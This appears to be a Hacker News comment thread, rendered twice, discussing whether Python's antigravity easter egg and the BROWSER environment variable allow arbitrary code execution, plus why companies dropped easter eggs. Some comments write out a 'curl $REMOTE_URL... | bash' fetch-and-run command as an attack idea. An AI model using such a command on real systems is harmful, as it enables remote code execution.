4 ms·

>An unexpected exception to this is the antigravity module. The Python developers included an easter egg in 2008 which can be triggered by running import antigr

>An unexpected exception to this is the antigravity module. The Python developers included an easter egg in 2008 which can be triggered by running import antigravity. This import will immediately open your browser to the xkcd comic that joked that import antigravity in Python would grant you the ability to fly. > As for how the antigravity module opens your browser, it uses another module from the standard library called webbrowser. This module checks your PATH for a large variety of browsers, including mosaic, opera, skipstone, konqueror, chrome, chromium, firefox, links, elinks and lynx. It also accepts an environment variable BROWSER that lets you specify which process should be executed. It was the possibility of security vulnerabilities that made software companies (more specifically Microsoft[0]) eschew easter eggs. Every feature, every line of code potentially increases your attack surface, especially if it interacts with other features. 0. https://docs.microsoft.com/en-us/archive/blogs/larryosterman/why-no-easter-eggs https://docs.microsoft.com/en-us/archive/blogs/larryosterman...

neolog 6y ago
This "vulnerability" requires "able to set an environment variable on a Python execution environment" and "opening a browser leads to RCE". Once you have that level of control over a system, I don't think `antigravity` will make or break an RCE.
- pentestercrab 6y ago
  It does not require opening a browser, it can cause a browser to open.
  - Groxx 6y ago
    Which is not on its own a "vulnerability", you'd need to chain it to something usable in the browser / as a consequence of the browser being opened. It increases your options, certainly, but it can't do anything dangerous as-is.
    - ragerino 6y ago
      You can define any executable in the $BROWSER environment variable which will be executed whenever antigravity is imported. You could execute a 'curl` which directly pipes into 'bash -c'.
      - Too 6y ago
        "Any executable" does not mean adding pipes and arguments. This is one important benefit of not using shell. See https://github.com/python/cpython/blob/master/Lib/webbrowser.py#L174 https://github.com/python/cpython/blob/master/Lib/webbrowser...
    - thefreeman 6y ago
      This is flat wrong. You can cause it to run an arbitrary binary by setting the BROWSER environment variable, as they demonstrate in the article. They chained it with perl environment variable vulnerability listed earlier to achieve execution.
      - Groxx 6y ago
        Yep, I misunderstood then - definitely vulnerable on its own!
- Rebelgecko 6y ago
  I don't think you need a browser RCE. If you can set environment variables, can't you just change $BROWSER to point towards an arbitrary binary?
userbinator 6y ago
It was the possibility of security vulnerabilities that made software companies (more specifically Microsoft[0]) eschew easter eggs. ...and yet there are plenty of horror stories about Win10 coming with lots of other "surprises" like Candy Crush installed by default, ads that fetch resources over the Internet, etc. I can almost hear a PM somewhere say "but they're not easter eggs, because they are documented somewhere." I'm sure people would be far less surprised and disgusted by a "real easter egg" that did something simple like developer's credits. Corporate bureaucracy at its worst...
- deleted 6y ago
  [deleted]
- cortesoft 6y ago
  They aren't Easter eggs because they were probably paid to include them.
NikolaeVarius 6y ago
So... don't import antigravity, an obvious joke module.
- userbinator 6y ago
  Of course as a developer you (should) already have the power to run arbitrary code on your machine, so going through that route is silly. I think it's more in reference to locked-down environments like shared hosting, which want to run Python but restrict access to everything else. From that perspective, this ability looks like a sandbox escape.
  - neolog 6y ago
    If the environment allows executing a browser, it allows executing a browser. Whether python is involved is irrelevant.
    - RcouF1uZ4gsC 6y ago
      > If the environment allows executing a browser From my reading of this, it allows executing any executable you can put in the BROWSER environment
      - csunbird 6y ago
        Which you can set it to something like "curl $REMOTE_URL_WHERE_SCRIPT_IS_HOSTED | bash" and run arbitrary code.
      - neolog 6y ago
        Oh you're right.
  - NikolaeVarius 6y ago
    If a sandbox includes the ability to load a link via a browser via standard event handler, how the hell is that an escape
edoceo 6y ago
At MS my team got our collective assws chewed for a egg in a cli tool that had our names listed - didn't make it into W2K :( NLB still "rocks" tho :)
Too 6y ago
Think about this next time Tesla comes up with some new Jinglebells gimmick. My car is the last place i would like to have easter eggs.
signal11 6y ago
I suspect what made companies exclude easter eggs was a sense that they were too big and "serious" for this sort of whimsical activity. And specifically for Microsoft, a sense that they were now targeting the Enterprise marketTM and were above all this consumer-grade behaviour. Interestingly Google still has easter egg behaviour for several queries, e.g. askew[1], which fits well with their corporate brand. To be clear, an easter egg is only supposed to be a (pleasant) surprise to the consumer -- not a secret kept from the rest of the team, especially QA. You can and should absolutely test your easter eggs. Yes, Excel's increasingly elaborate easter eggs[2] would probably find it hard to get past security review these days. But to say that easter eggs are bad because security doesn't make sense. Especially when companies include undocumented features in software all the time -- e.g., typing '=rand()' into newer versions of MS Word produces some random text, probably a lorem ipsum generator-like feature. [1] https://www.google.com/search?hl=en&source=hp&q=askew&oq=askew https://www.google.com/search?hl=en&source=hp&q=askew&oq=ask... [2] https://www.youtube.com/watch?v=Xb9AXBowb0E https://www.youtube.com/watch?v=Xb9AXBowb0E , https://www.youtube.com/watch?v=-gYb5GUs0dM https://www.youtube.com/watch?v=-gYb5GUs0dM , https://www.youtube.com/watch?v=PGZfuwsvIFQ https://www.youtube.com/watch?v=PGZfuwsvIFQ

neolog 6y ago

This "vulnerability" requires "able to set an environment variable on a Python execution environment" and "opening a browser leads to RCE". Once you have that level of control over a system, I don't think `antigravity` will make or break an RCE.

pentestercrab 6y ago
It does not require opening a browser, it can cause a browser to open.
- Groxx 6y ago
  Which is not on its own a "vulnerability", you'd need to chain it to something usable in the browser / as a consequence of the browser being opened. It increases your options, certainly, but it can't do anything dangerous as-is.
  - ragerino 6y ago
    You can define any executable in the $BROWSER environment variable which will be executed whenever antigravity is imported. You could execute a 'curl` which directly pipes into 'bash -c'.
    - Too 6y ago
      "Any executable" does not mean adding pipes and arguments. This is one important benefit of not using shell. See https://github.com/python/cpython/blob/master/Lib/webbrowser.py#L174 https://github.com/python/cpython/blob/master/Lib/webbrowser...
  - thefreeman 6y ago
    This is flat wrong. You can cause it to run an arbitrary binary by setting the BROWSER environment variable, as they demonstrate in the article. They chained it with perl environment variable vulnerability listed earlier to achieve execution.
    - Groxx 6y ago
      Yep, I misunderstood then - definitely vulnerable on its own!
Rebelgecko 6y ago
I don't think you need a browser RCE. If you can set environment variables, can't you just change $BROWSER to point towards an arbitrary binary?

userbinator 6y ago

It was the possibility of security vulnerabilities that made software companies (more specifically Microsoft[0]) eschew easter eggs. ...and yet there are plenty of horror stories about Win10 coming with lots of other "surprises" like Candy Crush installed by default, ads that fetch resources over the Internet, etc. I can almost hear a PM somewhere say "but they're not easter eggs, because they are documented somewhere." I'm sure people would be far less surprised and disgusted by a "real easter egg" that did something simple like developer's credits. Corporate bureaucracy at its worst...

deleted 6y ago
[deleted]
cortesoft 6y ago
They aren't Easter eggs because they were probably paid to include them.

NikolaeVarius 6y ago

So... don't import antigravity, an obvious joke module.

userbinator 6y ago
Of course as a developer you (should) already have the power to run arbitrary code on your machine, so going through that route is silly. I think it's more in reference to locked-down environments like shared hosting, which want to run Python but restrict access to everything else. From that perspective, this ability looks like a sandbox escape.
- neolog 6y ago
  If the environment allows executing a browser, it allows executing a browser. Whether python is involved is irrelevant.
  - RcouF1uZ4gsC 6y ago
    > If the environment allows executing a browser From my reading of this, it allows executing any executable you can put in the BROWSER environment
    - csunbird 6y ago
      Which you can set it to something like "curl $REMOTE_URL_WHERE_SCRIPT_IS_HOSTED | bash" and run arbitrary code.
    - neolog 6y ago
      Oh you're right.
- NikolaeVarius 6y ago
  If a sandbox includes the ability to load a link via a browser via standard event handler, how the hell is that an escape

edoceo 6y ago

At MS my team got our collective assws chewed for a egg in a cli tool that had our names listed - didn't make it into W2K :( NLB still "rocks" tho :)

Too 6y ago

Think about this next time Tesla comes up with some new Jinglebells gimmick. My car is the last place i would like to have easter eggs.

signal11 6y ago

I suspect what made companies exclude easter eggs was a sense that they were too big and "serious" for this sort of whimsical activity. And specifically for Microsoft, a sense that they were now targeting the Enterprise marketTM and were above all this consumer-grade behaviour. Interestingly Google still has easter egg behaviour for several queries, e.g. askew[1], which fits well with their corporate brand. To be clear, an easter egg is only supposed to be a (pleasant) surprise to the consumer -- not a secret kept from the rest of the team, especially QA. You can and should absolutely test your easter eggs. Yes, Excel's increasingly elaborate easter eggs[2] would probably find it hard to get past security review these days. But to say that easter eggs are bad because security doesn't make sense. Especially when companies include undocumented features in software all the time -- e.g., typing '=rand()' into newer versions of MS Word produces some random text, probably a lorem ipsum generator-like feature. [1] https://www.google.com/search?hl=en&source=hp&q=askew&oq=askew https://www.google.com/search?hl=en&source=hp&q=askew&oq=ask... [2] https://www.youtube.com/watch?v=Xb9AXBowb0E https://www.youtube.com/watch?v=Xb9AXBowb0E , https://www.youtube.com/watch?v=-gYb5GUs0dM https://www.youtube.com/watch?v=-gYb5GUs0dM , https://www.youtube.com/watch?v=PGZfuwsvIFQ https://www.youtube.com/watch?v=PGZfuwsvIFQ